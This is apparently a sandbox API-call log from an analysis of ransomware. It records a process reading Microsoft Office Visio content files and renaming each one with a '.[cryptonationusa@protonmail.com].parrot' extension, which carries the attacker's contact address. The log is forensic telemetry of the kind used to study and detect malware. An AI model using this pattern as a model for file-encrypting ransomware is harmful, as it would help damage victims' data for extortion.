1 [0226.818] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.818] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x59000, lpOverlapped=0x0) returned 1 [0226.830] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSINT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptsint_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSINT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptsint_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.858] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.858] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.860] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.860] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x56e00, lpOverlapped=0x0) returned 1 [0226.896] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSINT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptsint_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSINT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptsint_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0226.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0226.968] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0226.970] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.970] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5bc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5bc00, lpOverlapped=0x0) returned 1 [0226.992] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSKST_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptskst_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSKST_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptskst_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.022] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.023] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5b400, lpOverlapped=0x0) returned 1 [0227.044] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSKST_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptskst_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTSKST_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptskst_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.069] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.070] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25c00, lpOverlapped=0x0) returned 1 [0227.083] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTUSCL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptuscl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTUSCL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptuscl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.105] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.108] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25a00, lpOverlapped=0x0) returned 1 [0227.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTUSCL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptuscl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PTUSCL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ptuscl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.130] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.132] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.132] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x35c00, lpOverlapped=0x0) returned 1 [0227.142] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RACK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rack_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RACK_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rack_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.187] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.532] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x35e00, lpOverlapped=0x0) returned 1 [0227.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RACK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rack_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RACK_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rack_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.604] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.670] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x54a00, lpOverlapped=0x0) returned 1 [0227.690] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.710] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.710] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.727] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.727] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x53600, lpOverlapped=0x0) returned 1 [0227.824] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0227.854] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0227.854] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0227.857] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.857] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd7e00, lpOverlapped=0x0) returned 1 [0227.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.049] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd6a00, lpOverlapped=0x0) returned 1 [0228.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.323] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.325] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.325] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d000, lpOverlapped=0x0) returned 1 [0228.334] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.349] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.351] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.351] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c000, lpOverlapped=0x0) returned 1 [0228.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.368] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.370] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x45000, lpOverlapped=0x0) returned 1 [0228.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECSHP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recshp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECSHP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recshp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.396] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.398] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42200, lpOverlapped=0x0) returned 1 [0228.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECSHP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recshp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECSHP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recshp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.424] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.426] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfc00, lpOverlapped=0x0) returned 1 [0228.430] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\REGSTR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\regstr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\REGSTR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\regstr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.441] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.442] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.443] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf800, lpOverlapped=0x0) returned 1 [0228.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\REGSTR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\regstr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\REGSTR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\regstr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.457] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.457] 